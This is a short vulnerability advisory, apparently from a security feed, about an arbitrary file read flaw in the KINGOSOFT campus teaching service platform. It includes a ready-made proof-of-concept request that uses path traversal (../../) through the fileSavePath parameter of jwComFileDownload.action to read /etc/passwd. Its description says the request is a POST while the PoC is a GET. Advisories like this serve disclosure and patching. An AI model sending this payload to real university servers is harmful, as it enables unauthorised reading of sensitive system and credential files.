KINGOSOFT高校智慧校园教学综合服务平台 /jw/lessonchangeapply/jwComFileDownload.action 文件读取漏洞

2025-11-21 KINGOSOFT PoC Public

Description

KINGOSOFT高校智慧校园教学综合服务平台存在任意文件读取漏洞，攻击者可通过向/jw/lessonchangeapply/jwComFileDownload.action发送包含路径遍历字符（../../）的POST请求，读取服务器上的敏感文件。

PoC

GET /jw/lessonchangeapply/jwComFileDownload.action?fileSavePath=../../../../../../../etc/passwd&name= HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

Source: https://gobysec.net/updates#KINGOSOFT Campus Teaching Service Platform /jw/lessonchangeapply/jwComFileDownload.action File Read Vulnerability

References

https://www.gm7.org/archives/12523

Related Vulnerabilities